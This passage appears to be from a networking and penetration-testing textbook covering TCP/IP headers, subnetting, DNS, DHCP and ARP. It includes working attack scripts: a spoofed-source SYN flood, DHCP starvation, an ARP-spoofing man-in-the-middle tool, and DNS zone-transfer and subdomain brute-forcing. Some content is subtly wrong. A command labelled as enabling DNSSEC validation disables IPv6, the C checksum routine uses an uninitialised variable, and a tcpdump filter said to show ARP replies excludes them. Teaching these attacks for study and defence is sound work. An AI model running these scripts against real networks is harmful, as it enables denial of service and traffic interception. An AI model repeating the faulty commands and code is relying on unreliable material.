TCP/IP Model (simplified):

  1. Network Interface: Physical + Data Link
  2. Internet: IP, ICMP, ARP
  3. Transport: TCP, UDP
  4. Application: All upper layers

7.1.2 Ethernet and Data Link Layer

Ethernet Frame Structure:

Preamble (7 bytes) | SFD (1) | Destination MAC (6) | Source MAC (6) | Type/Length (2) | Payload (46-1500) | FCS (4)

MAC Addresses:

  • 48-bit unique identifier
  • First 24 bits: OUI (Organizationally Unique Identifier)
  • Last 24 bits: NIC-specific
  • Broadcast: FF:FF:FF:FF:FF:FF
  • Multicast: First bit of first byte is 1

Viewing MAC addresses:

# Show MAC addresses
ip link show
cat /sys/class/net/eth0/address

# ARP cache
arp -n
ip neigh show

7.1.3 Internet Layer (IP)

IPv4 Packet Header:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Identification        |Flags|      Fragment Offset    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |         Header Checksum       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Source Address                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

IP Fragmentation:

# View fragmentation settings
sysctl net.ipv4.ipfrag_time
sysctl net.ipv4.ipfrag_high_thresh

# Send fragmented packets with hping3
hping3 -c 1 -d 3000 -f target.com

# Capture and analyze fragments
tcpdump -i eth0 -v 'ip[6] & 0x20 != 0'  # Show fragments

IP Options and Security:

# Disable IP forwarding (unless router)
sysctl -w net.ipv4.ip_forward=0

# Disable source routing
sysctl -w net.ipv4.conf.all.accept_source_route=0
sysctl -w net.ipv6.conf.all.accept_source_route=0

7.1.4 Transport Layer (TCP/UDP)

TCP Segment Structure:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |       |C|E|U|A|P|R|S|F|                               |
| Offset| Res.  |W|C|R|C|S|S|Y|I|            Window             |
|       |       |R|E|G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP Flags:

  • SYN: Synchronize (connection establishment)
  • ACK: Acknowledgment
  • FIN: Finish (graceful close)
  • RST: Reset (abort connection)
  • PSH: Push (send immediately)
  • URG: Urgent
  • ECE: ECN-Echo
  • CWR: Congestion Window Reduced

TCP State Diagram:

CLOSED
   | SYN
   v
LISTEN --> SYN_RCVD --> ESTABLISHED
   |          |              |
   | SYN      | ACK          | FIN
   v          v              v
SYN_SENT   ESTABLISHED    FIN_WAIT_1 --> FIN_WAIT_2 --> TIME_WAIT
                             |              |              |
                             | FIN+ACK      | FIN          | Timeout
                             v              v              v
                          CLOSING       CLOSING        CLOSED

TCP Connection Analysis:

# View TCP connections
netstat -tan
ss -tan

# Follow TCP stream with tcpflow
tcpflow -i eth0 port 80

# Analyze TCP options with scapy
from scapy.all import *
packet = IP(dst="google.com")/TCP(dport=80, flags="S")
response = sr1(packet, timeout=2)
response.show()

UDP Header:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Length             |           Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP vs UDP Comparison:

Feature TCP UDP
Connection Connection-oriented Connectionless
Reliability Reliable Unreliable
Ordering In-order delivery No ordering
Flow control Yes No
Congestion control Yes No
Overhead Higher Lower
Use cases Web, email, SSH DNS, VoIP, streaming

7.1.5 Raw Sockets and Packet Crafting

Creating Custom Packets with Scapy:

#!/usr/bin/env python3
from scapy.all import *

# Create custom TCP packet
ip = IP(src="192.168.1.100", dst="192.168.1.1")
tcp = TCP(sport=12345, dport=80, flags="S", seq=1000)
packet = ip/tcp

# Send and receive
response = sr1(packet, timeout=2)
if response:
    response.show()

# SYN flood (educational only!)
def syn_flood(target, port, count=100):
    for i in range(count):
        ip = IP(src=RandIP(), dst=target)
        tcp = TCP(sport=RandShort(), dport=port, flags="S")
        send(ip/tcp, verbose=0)
    print(f"Sent {count} SYN packets to {target}:{port}")

# Craft ICMP packet
icmp = IP(dst="8.8.8.8")/ICMP(type=8)/"Hello"
reply = sr1(icmp, timeout=2)
print(f"Reply from {reply.src}")

Using raw sockets in C:

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

unsigned short checksum(unsigned short *ptr, int nbytes) {
    long sum;
    unsigned short oddbyte;
    
    while (nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1) {
        oddbyte = 0;
        *((unsigned char *)&oddbyte) = *(unsigned char *)ptr;
        sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)~sum;
}

int main() {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return 1;
    }
    
    char packet[4096];
    struct iphdr *ip = (struct iphdr *)packet;
    struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
    
    // Fill IP header
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    ip->id = htonl(54321);
    ip->frag_off = 0;
    ip->ttl = 255;
    ip->protocol = IPPROTO_TCP;
    ip->saddr = inet_addr("1.2.3.4");
    ip->daddr = inet_addr("192.168.1.1");
    ip->check = checksum((unsigned short *)ip, sizeof(struct iphdr));
    
    // Fill TCP header
    tcp->source = htons(1234);
    tcp->dest = htons(80);
    tcp->seq = htonl(1);
    tcp->ack_seq = 0;
    tcp->doff = 5;
    tcp->syn = 1;
    tcp->window = htons(5840);
    tcp->check = 0;
    
    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = ip->daddr;
    
    sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest));
    printf("SYN packet sent\n");
    
    return 0;
}

7.2 Subnetting & CIDR

Understanding IP addressing and subnetting is crucial for network design and penetration testing.

7.2.1 Binary and IP Addressing

Binary to Decimal Conversion:

128 64 32 16 8 4 2 1
 1  1  1  1 1 1 1 1 = 255
 1  1  0  0 0 0 0 0 = 192
 1  0  1  0 1 0 1 0 = 170
 0  0  0  0 0 0 0 0 = 0

IP Address Classes (historical):

Class First Octet Network Bits Host Bits Default Mask
A 1-126 8 24 255.0.0.0 (/8)
B 128-191 16 16 255.255.0.0 (/16)
C 192-223 24 8 255.255.255.0 (/24)
D 224-239 Multicast - -
E 240-255 Experimental - -

CIDR (Classless Inter-Domain Routing):

CIDR notation: 192.168.1.0/24 means:

  • Network: 192.168.1.0
  • Netmask: 255.255.255.0
  • Number of hosts: 254 (2^(32-24) - 2)

7.2.2 Subnet Calculation

Subnet Mask Reference:

/32: 255.255.255.255 - 1 host
/31: 255.255.255.254 - 2 hosts (point-to-point)
/30: 255.255.255.252 - 4 hosts (2 usable)
/29: 255.255.255.248 - 8 hosts (6 usable)
/28: 255.255.255.240 - 16 hosts (14 usable)
/27: 255.255.255.224 - 32 hosts (30 usable)
/26: 255.255.255.192 - 64 hosts (62 usable)
/25: 255.255.255.128 - 128 hosts (126 usable)
/24: 255.255.255.0   - 256 hosts (254 usable)
/23: 255.255.254.0   - 512 hosts (510 usable)
/22: 255.255.252.0   - 1024 hosts (1022 usable)
/21: 255.255.248.0   - 2048 hosts (2046 usable)
/20: 255.255.240.0   - 4096 hosts (4094 usable)
/19: 255.255.224.0   - 8192 hosts (8190 usable)
/18: 255.255.192.0   - 16384 hosts (16382 usable)
/17: 255.255.128.0   - 32768 hosts (32766 usable)
/16: 255.255.0.0     - 65536 hosts (65534 usable)

Subnet Calculation Script:

#!/usr/bin/env python3
# subnet_calculator.py

import ipaddress
import sys

def calculate_subnet(network_str):
    try:
        network = ipaddress.ip_network(network_str, strict=False)
        
        print(f"Network: {network.network_address}")
        print(f"Netmask: {network.netmask}")
        print(f"CIDR: /{network.prefixlen}")
        print(f"Broadcast: {network.broadcast_address}")
        print(f"Number of hosts: {network.num_addresses}")
        print(f"Usable hosts: {network.num_addresses - 2}")
        print(f"First usable: {list(network.hosts())[0] if network.num_addresses > 2 else 'N/A'}")
        print(f"Last usable: {list(network.hosts())[-1] if network.num_addresses > 2 else 'N/A'}")
        
        # Wildcard mask for ACLs
        wildcard = ipaddress.IPv4Address(int(network.netmask) ^ 0xFFFFFFFF)
        print(f"Wildcard mask: {wildcard}")
        
        # Binary representation
        ip_int = int(network.network_address)
        print(f"Binary: {bin(ip_int)[2:].zfill(32)}")
        
        # Subnet information
        print(f"\nSubnet Information:")
        print(f"Network bits: {network.prefixlen}")
        print(f"Host bits: {32 - network.prefixlen}")
        
        # Possible subnets
        if network.prefixlen < 30:
            smaller = network.prefixlen + 2
            print(f"\nPossible smaller subnets (/{(network.prefixlen + 2) if network.prefixlen + 2 <= 30 else 'N/A'}):")
            for i, subnet in enumerate(network.subnets(new_prefix=min(32, network.prefixlen + 2))):
                if i >= 4:
                    print(f"  ... and more")
                    break
                print(f"  {subnet}")
                
    except ValueError as e:
        print(f"Error: {e}")

def supernet_calc(networks):
    """Calculate supernet of multiple networks"""
    try:
        nets = [ipaddress.ip_network(n) for n in networks]
        supernet = ipaddress.collapse_addresses(nets)
        print(f"Supernet(s):")
        for net in supernet:
            print(f"  {net}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: subnet_calculator.py <network> [network2 ...]")
        print("Example: subnet_calculator.py 192.168.1.0/24")
        sys.exit(1)
    
    if len(sys.argv) == 2:
        calculate_subnet(sys.argv[1])
    else:
        supernet_calc(sys.argv[1:])

VLSM (Variable Length Subnet Mask) Example:

Network: 192.168.1.0/24
Requirements:
- Subnet A: 50 hosts
- Subnet B: 30 hosts
- Subnet C: 10 hosts
- Subnet D: 2 hosts (point-to-point)

Calculations:
- Subnet A: /26 (64 addresses) - 192.168.1.0/26
- Subnet B: /27 (32 addresses) - 192.168.1.64/27
- Subnet C: /28 (16 addresses) - 192.168.1.96/28
- Subnet D: /30 (4 addresses)  - 192.168.1.112/30
- Remaining: 192.168.1.116/30, etc.

7.2.3 Subnetting Tools

Command-line subnet calculation:

# Using ipcalc
apt install ipcalc
ipcalc 192.168.1.0/24
ipcalc 10.0.0.0/8 255.255.240.0

# Using sipcalc
apt install sipcalc
sipcalc 192.168.1.0/24

# Using nmap
nmap -sL 192.168.1.0/24  # List targets

Network scanning with subnet awareness:

#!/bin/bash
# scan_subnet.sh

subnet=$1

if [ -z "$subnet" ]; then
    echo "Usage: $0 <subnet>"
    echo "Example: $0 192.168.1.0/24"
    exit 1
fi

# Get network information
network=$(ipcalc -n $subnet | cut -d= -f2)
netmask=$(ipcalc -m $subnet | cut -d= -f2)
broadcast=$(ipcalc -b $subnet | cut -d= -f2)

echo "Scanning subnet: $subnet"
echo "Network: $network"
echo "Netmask: $netmask"
echo "Broadcast: $broadcast"
echo "----------------------------------------"

# Ping sweep
for ip in $(nmap -sL $subnet | grep "Nmap scan" | awk '{print $5}' | grep -v "$broadcast" | grep -v "$network"); do
    ping -c 1 -W 1 $ip >/dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "Host $ip is UP"
    fi
done

7.3 DNS Internals

The Domain Name System is critical for internet functionality and a common target for attacks.

7.3.1 DNS Hierarchy and Architecture

DNS Hierarchy:

Root (.)
├── com (TLD)
│   ├── example.com
│   │   ├── www.example.com
│   │   └── mail.example.com
│   └── google.com
├── org (TLD)
├── net (TLD)
└── country codes (us, uk, de, etc.)

DNS Server Types:

  • Root servers: 13 logical root servers worldwide
  • TLD servers: Manage top-level domains (.com, .org, etc.)
  • Authoritative servers: Provide answers for specific domains
  • Recursive resolvers: Perform queries on behalf of clients
  • Caching servers: Store results temporarily

7.3.2 DNS Record Types

Common Record Types:

# A - IPv4 address
example.com. 3600 IN A 192.168.1.10

# AAAA - IPv6 address
example.com. 3600 IN AAAA 2001:db8::1

# CNAME - Canonical name (alias)
www.example.com. 3600 IN CNAME example.com.

# MX - Mail exchange
example.com. 3600 IN MX 10 mail.example.com.

# NS - Name server
example.com. 3600 IN NS ns1.example.com.

# PTR - Pointer (reverse DNS)
1.10.168.192.in-addr.arpa. 3600 IN PTR example.com.

# SOA - Start of Authority
example.com. 3600 IN SOA ns1.example.com. admin.example.com. (
    2024010101 ; serial
    7200       ; refresh
    3600       ; retry
    86400      ; expire
    3600       ; minimum TTL
)

# TXT - Text record
example.com. 3600 IN TXT "v=spf1 mx ~all"

# SRV - Service record
_sip._tcp.example.com. 3600 IN SRV 10 5 5060 sipserver.example.com.

# CAA - Certification Authority Authorization
example.com. 3600 IN CAA 0 issue "letsencrypt.org"

7.3.3 DNS Resolution Process

Recursive Query Flow:

1. Client queries resolver for www.example.com
2. Resolver queries root server for .com
3. Root server refers to .com TLD servers
4. Resolver queries .com TLD server for example.com
5. .com TLD server refers to example.com nameservers
6. Resolver queries example.com authoritative server
7. Authoritative server returns A record for www
8. Resolver caches result and returns to client

DNS Query Types:

  • Recursive: Resolver performs full resolution
  • Iterative: Server returns referrals
  • Non-recursive: Server returns cached or authoritative answer

DNS Debugging Tools:

# dig (domain information groper)
dig example.com
dig example.com A
dig example.com MX
dig +trace example.com  # Show full resolution path
dig @8.8.8.8 example.com  # Query specific resolver

# nslookup
nslookup example.com
nslookup -type=MX example.com
nslookup 8.8.8.8  # Reverse lookup

# host
host example.com
host -t AAAA example.com
host -l example.com  # Zone transfer (if allowed)

# DNS zone transfer
dig axfr @ns1.example.com example.com
host -l example.com ns1.example.com

7.3.4 DNS Security

DNSSEC (DNS Security Extensions):

# Check DNSSEC status
dig +dnssec example.com
delv example.com  # DNSSEC validator

# Verify with DNSViz
# https://dnsviz.net/

DNS over HTTPS/TLS:

# Using systemd-resolved
systemctl enable systemd-resolved
systemctl start systemd-resolved

# /etc/systemd/resolved.conf
[Resolve]
DNS=9.9.9.9#dns.quad9.net 8.8.8.8#dns.google
DNSOverTLS=yes
DNSSEC=yes

# Test
resolvectl query example.com
resolvectl statistics

DNS Cache Poisoning Prevention:

# Enable DNSSEC validation
sysctl -w net.ipv6.conf.all.disable_ipv6=1

# Use secure resolvers
echo "nameserver 9.9.9.9" > /etc/resolv.conf  # Quad9
echo "nameserver 1.1.1.1" >> /etc/resolv.conf  # Cloudflare

# Randomize source ports (modern resolvers do this)
sysctl -w net.ipv4.ip_local_port_range="32768 60999"

7.3.5 DNS in Penetration Testing

DNS Enumeration Script:

#!/usr/bin/env python3
# dns_enum.py

import dns.resolver
import dns.zone
import dns.query
import sys
from concurrent.futures import ThreadPoolExecutor

class DNSEnumerator:
    def __init__(self, domain, dns_server='8.8.8.8'):
        self.domain = domain
        self.resolver = dns.resolver.Resolver()
        self.resolver.nameservers = [dns_server]
        self.resolver.timeout = 2
        self.resolver.lifetime = 2
        
    def query_record(self, record_type):
        try:
            answers = self.resolver.resolve(self.domain, record_type)
            return [str(r) for r in answers]
        except Exception as e:
            return []
    
    def enumerate_records(self):
        record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV']
        
        print(f"DNS Enumeration for {self.domain}")
        print("=" * 50)
        
        for rtype in record_types:
            records = self.query_record(rtype)
            if records:
                print(f"\n{rtype} Records:")
                for record in records:
                    print(f"  {record}")
    
    def brute_force_subdomains(self, wordlist_file):
        print(f"\nBrute-forcing subdomains of {self.domain}")
        
        try:
            with open(wordlist_file, 'r') as f:
                subdomains = [line.strip() for line in f]
        except FileNotFoundError:
            print(f"Wordlist not found: {wordlist_file}")
            return
        
        found = []
        
        def check_subdomain(sub):
            try:
                target = f"{sub}.{self.domain}"
                answers = self.resolver.resolve(target, 'A')
                if answers:
                    ip = str(answers[0])
                    print(f"Found: {target} -> {ip}")
                    return (target, ip)
            except:
                pass
            return None
        
        with ThreadPoolExecutor(max_workers=20) as executor:
            results = executor.map(check_subdomain, subdomains)
            found = [r for r in results if r]
        
        print(f"\nFound {len(found)} subdomains")
        return found
    
    def attempt_zone_transfer(self):
        print(f"\nAttempting zone transfer for {self.domain}")
        
        try:
            # Get NS records
            ns_records = self.query_record('NS')
            
            for ns in ns_records:
                ns = str(ns).rstrip('.')
                print(f"Trying nameserver: {ns}")
                
                try:
                    zone = dns.zone.from_xfr(dns.query.xfr(ns, self.domain))
                    if zone:
                        print(f"Zone transfer successful from {ns}!")
                        for name, node in zone.nodes.items():
                            rdataset = node.rdatasets[0]
                            print(f"  {name} -> {rdataset}")
                except Exception as e:
                    print(f"  Failed: {e}")
                    
        except Exception as e:
            print(f"Zone transfer failed: {e}")
    
    def reverse_lookup(self, subnet):
        """Reverse DNS lookup for subnet"""
        print(f"\nReverse lookup for {subnet}")
        
        from ipaddress import ip_network
        
        try:
            network = ip_network(subnet)
            for ip in network.hosts():
                try:
                    rev = dns.reversename.from_address(str(ip))
                    answers = self.resolver.resolve(rev, 'PTR')
                    print(f"{ip} -> {answers[0]}")
                except:
                    pass
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: dns_enum.py <domain> [wordlist]")
        sys.exit(1)
    
    domain = sys.argv[1]
    dns_enum = DNSEnumerator(domain)
    
    # Basic enumeration
    dns_enum.enumerate_records()
    
    # Zone transfer attempt
    dns_enum.attempt_zone_transfer()
    
    # Subdomain brute force
    if len(sys.argv) > 2:
        dns_enum.brute_force_subdomains(sys.argv[2])

7.4 DHCP

Dynamic Host Configuration Protocol automates network configuration for hosts.

7.4.1 DHCP Operation

DORA Process:

  1. Discover (client broadcast): "I need an IP"
  2. Offer (server): "Here's an IP you can use"
  3. Request (client): "I'll take that IP"
  4. Ack (server): "Confirmed, here are the details"

DHCP Packet Structure:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     op (1)    |    htype (1)   |    hlen (1)    |    hops (1)  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            xid (4)                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           secs (2)             |           flags (2)           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ciaddr (4)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          yiaddr (4)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          siaddr (4)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          giaddr (4)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          chaddr (16)                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          sname (64)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          file (128)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          options (variable)                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

DHCP Options:

  • 1: Subnet mask
  • 3: Router (default gateway)
  • 6: DNS servers
  • 15: Domain name
  • 51: IP address lease time
  • 53: DHCP message type
  • 54: Server identifier
  • 55: Parameter request list
  • 255: End

7.4.2 DHCP Server Configuration

ISC DHCP Server:

# Install DHCP server
apt install isc-dhcp-server

# Configure /etc/dhcp/dhcpd.conf
cat > /etc/dhcp/dhcpd.conf << EOF
# Global options
option domain-name "example.com";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
authoritative;

# Subnet configuration
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option broadcast-address 192.168.1.255;
}

# Static lease for specific host
host printer {
    hardware ethernet 00:11:22:33:44:55;
    fixed-address 192.168.1.50;
    option host-name "office-printer";
}
EOF

# Specify interface
echo 'INTERFACESv4="eth0"' >> /etc/default/isc-dhcp-server

# Start service
systemctl enable isc-dhcp-server
systemctl start isc-dhcp-server

dnsmasq (Lightweight DHCP/DNS):

# Install dnsmasq
apt install dnsmasq

# Configure /etc/dnsmasq.conf
cat >> /etc/dnsmasq.conf << EOF
# DHCP range
dhcp-range=192.168.1.100,192.168.1.200,12h

# Gateway
dhcp-option=3,192.168.1.1

# DNS servers
dhcp-option=6,8.8.8.8,8.8.4.4

# Static leases
dhcp-host=00:11:22:33:44:55,printer,192.168.1.50

# Domain
domain=example.com

# Logging
log-dhcp
EOF

systemctl enable dnsmasq
systemctl start dnsmasq

7.4.3 DHCP Client

DHCP Client Tools:

# Release and renew
dhclient -r eth0  # Release
dhclient eth0     # Renew

# Using dhcpcd
apt install dhcpcd5
dhcpcd eth0

# Using NetworkManager
nmcli device reapply eth0
nmcli device connect eth0

# Manual DHCP request
dhcp-lease-list  # View leases

7.4.4 DHCP Attacks and Security

DHCP Starvation Attack:

#!/usr/bin/env python3
# dhcp_starvation.py
# EDUCATIONAL ONLY - Do not use without permission

from scapy.all import *
from random import randint
import time

def random_mac():
    return RandMAC()

def dhcp_starvation(iface, count=100):
    print(f"Starting DHCP starvation on {iface}")
    
    for i in range(count):
        # Create DHCP discover packet
        mac = random_mac()
        
        dhcp_discover = (
            Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
            IP(src="0.0.0.0", dst="255.255.255.255") /
            UDP(sport=68, dport=67) /
            BOOTP(chaddr=[mac.replace(':', '')], xid=randint(1, 2**32)) /
            DHCP(options=[("message-type", "discover"), "end"])
        )
        
        sendp(dhcp_discover, iface=iface, verbose=0)
        
        if i % 10 == 0:
            print(f"Sent {i} DHCP discovers")
        time.sleep(0.1)
    
    print("DHCP starvation completed")

# Protection: Enable DHCP snooping on switches

Rogue DHCP Server Detection:

# Detect unauthorized DHCP servers
dhcpdump -i eth0
tcpdump -i eth0 -v -s 1500 'port 67 or port 68'

# Using nmap
nmap --script broadcast-dhcp-discover

# Using dhcping
dhcping -s 192.168.1.1

DHCP Snooping Configuration (Cisco):

! Enable DHCP snooping
ip dhcp snooping
ip dhcp snooping vlan 1-100

! Trust only specific ports
interface GigabitEthernet0/1
 ip dhcp snooping trust

! Rate limit DHCP packets
interface GigabitEthernet0/2
 ip dhcp snooping limit rate 10

7.5 ARP Mechanics

Address Resolution Protocol maps IP addresses to MAC addresses on local networks.

7.5.1 ARP Operation

ARP Request/Reply:

Host A (192.168.1.10) wants to send to Host B (192.168.1.20):

1. Host A checks ARP cache - no entry for 192.168.1.20
2. Host A broadcasts ARP request:
   "Who has 192.168.1.20? Tell 192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)"
3. Host B sees request, responds unicast:
   "192.168.1.20 is at BB:BB:BB:BB:BB:BB"
4. Host A updates ARP cache, sends packet

ARP Packet Structure:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Hardware Type (1)      |        Protocol Type (0x0800) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  HW Len (6)   |  Prot Len (4) |            Operation          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Sender Hardware Address                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Sender Protocol Address                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Target Hardware Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Target Protocol Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

ARP Cache Management:

# View ARP cache
arp -n
ip neigh show

# Add static ARP entry
arp -s 192.168.1.50 00:11:22:33:44:55
ip neigh add 192.168.1.50 lladdr 00:11:22:33:44:55 nud permanent

# Delete ARP entry
arp -d 192.168.1.50
ip neigh del 192.168.1.50 dev eth0

# Flush ARP cache
ip neigh flush all

7.5.2 ARP Spoofing/Poisoning

ARP Spoofing Attack:

#!/usr/bin/env python3
# arp_spoof.py
# EDUCATIONAL ONLY - For authorized testing only

from scapy.all import *
import time
import sys

def get_mac(ip, iface):
    """Get MAC address for IP"""
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = srp(arp_request_broadcast, timeout=1, iface=iface, verbose=False)[0]
    
    if answered_list:
        return answered_list[0][1].hwsrc
    return None

def arp_spoof(target_ip, spoof_ip, iface):
    """Send ARP spoofing packets"""
    target_mac = get_mac(target_ip, iface)
    if not target_mac:
        print(f"Could not get MAC for {target_ip}")
        return
    
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)
    print(f"Sent spoofed ARP to {target_ip}: {spoof_ip} is at our MAC")

def restore(target_ip, source_ip, iface):
    """Restore ARP tables"""
    target_mac = get_mac(target_ip, iface)
    source_mac = get_mac(source_ip, iface)
    
    if target_mac and source_mac:
        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip, hwsrc=source_mac)
        send(packet, count=4, verbose=False)
        print("ARP tables restored")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: arp_spoof.py <target> <gateway> <interface>")
        sys.exit(1)
    
    target = sys.argv[1]
    gateway = sys.argv[2]
    iface = sys.argv[3]
    
    # Enable IP forwarding
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
        f.write('1')
    
    try:
        print(f"Starting ARP spoof: {target} <-> {gateway}")
        while True:
            arp_spoof(target, gateway, iface)
            arp_spoof(gateway, target, iface)
            time.sleep(2)
    except KeyboardInterrupt:
        print("\nRestoring ARP tables...")
        restore(target, gateway, iface)
        restore(gateway, target, iface)

ARP Spoof Detection:

# Monitor for ARP anomalies
arpwatch -i eth0
tcpdump -i eth0 arp and arp[6:2] != 2  # Show ARP replies

# Using arp-scan for duplicate MACs
arp-scan --local

# Python detection script
cat > arp_detect.py << EOF
#!/usr/bin/env python3
from scapy.all import *
import time

arp_table = {}

